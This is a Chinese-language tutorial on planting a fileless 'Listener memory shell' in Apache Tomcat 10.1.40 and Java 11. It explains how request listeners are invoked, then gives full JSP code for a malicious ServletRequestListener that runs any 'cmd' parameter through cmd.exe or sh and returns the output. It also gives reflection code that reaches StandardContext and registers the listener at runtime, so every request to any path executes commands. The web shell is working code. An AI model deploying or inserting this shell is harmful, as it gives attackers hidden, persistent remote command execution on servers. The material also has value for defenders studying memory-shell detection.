Tomcat版本:10.1.40

Jdk版本:java11

Listener监听器

Listener监听器,常见的监听器:

类型

触发事件

ServletContextListener

再ServletContext创建和关闭时都会通知ServletContextListener监听器

HttpSessionListener

当一个HttpSession刚被创建或着失效(invalidate)的时候,将会通知HttpSessionListener监听器

ServletRequestListener

在ServletRequest创建和关闭时都会通知ServletRequestListener监听器

用户操作过程

用户 ----请求----> JavaWeb(Listener---->FilterChain---->Servlet)

用户请求JavaWeb时会先经过Listener操作,然后再进行拦截器FilterChain,最后才到达Servlet来服务处理请求。

正常创建一个监听器

需要新建一个类,然后重写requestInitialized方法:

然后再在web.xml中添加listener的全类名

image-cujp.png

然后带cmd参数进行访问:

使用ServletRequestListener接口创建监听器,每次请求都会触发监听器。

这里监听器设置操作是每次请求操作中带有cmd参数并且cmd参数存在值的话就会执行cmd参数的命令。

内存马创建Listener

原理:

调用函数requestInitialized()的是上一步中的listener.requestInitialized(event)的listener对象调用的requestInitialized()函数。

listener对象是通过instance强转赋值进行创建的对象。

而instance是对象数组instances中的一个,而instances数组中的值的获取是通过getApplicationEventListeners();来进行获取的

跟踪该函数发现是通过applicationEventListenersList.toArray();返回一个对象数组。

通过查看applicationEventListenersList字段相关用法发现存在addApplicationEventListener()函数可以进行添加listener。

这时我们就可以通过Java反射获取StandardContext来获取addApplicationEventListener()来添加恶意的Listener对象,来加载恶意的Listener。

过程总结:

上述是通过反向推断,正常的过程是通过addApplicationEventListener()函数来添加恶意的Listener对象,然后程序就会通过getApplicationEventListeners()函数把恶意的Listener添加到instances数组中,然后再通过强制转换把instances数组中单个对象赋值给listener然后再调用listener监听器重写的requestInitialized()方法。

接下来就是通过反射实现加载恶意类。

创建恶意JSP文件

jsp文件名:Lshell.jsp

1、创建恶意Listener监听器类

<%!
    public class MyListener implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            ServletRequest req = sre.getServletRequest();
            String cmd = req.getParameter("cmd");

            if (cmd != null) {
                Class facadeClass = req.getClass();
                try {
                    Field requestField = facadeClass.getDeclaredField("request");
                    requestField.setAccessible(true);
                    Request request = (Request)requestField.get(req);
//                    request.getResponse().getWriter().println("input"+cmd);
                    String osTyp = System.getProperty("os.name").toLowerCase();
                    ProcessBuilder pb;
                    if (osTyp.contains("win")) {
                        pb = new ProcessBuilder("cmd.exe", "/c", cmd);
                    } else {
                        pb = new ProcessBuilder("sh", "-c", cmd);
                    }
                    // 执行命令并读取输出
                    Process process = pb.start();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                    StringBuilder output = new StringBuilder();
                    String line;
                    while ((line = reader.readLine()) != null) {
                        output.append(line).append("\n");
                    }

                    // 将命令输出写回页面
                    request.getResponse().getWriter().println("<html><body>");
                    request.getResponse().getWriter().println("<h1>Command Output:</h1>");
                    request.getResponse().getWriter().println("<pre>" + output.toString() + "</pre>");
                    request.getResponse().getWriter().println("</body></html>");
                } catch (Exception e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
%>

该恶意监听器的作用是每当请求的参数中带有cmd参数就会执行cmd参数的命令。

2、通过反射获取StandardContext

    //通过反射获取StandardContext
    ServletContext servletContext = request.getServletContext();
    //通过servletContext拿到applicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    //设置可访问权限
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
    //通过applicationContext拿到StandardContext
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);

3、通过StandardContext来调用addApplicationEventListener()函数来添加恶意类

standardContext.addApplicationEventListener(new MyListener());

然后启动tomcat服务访问写好的Lshell.jsp文件,访问后再次请求时可以携带cmd参数来执行命令

不管Get请求还是Post请求只要是参数中带有cmd参数就会执行参数的命令,同样也不管请求的路径存不存在都会执行参数的命令

参考

Listener内存马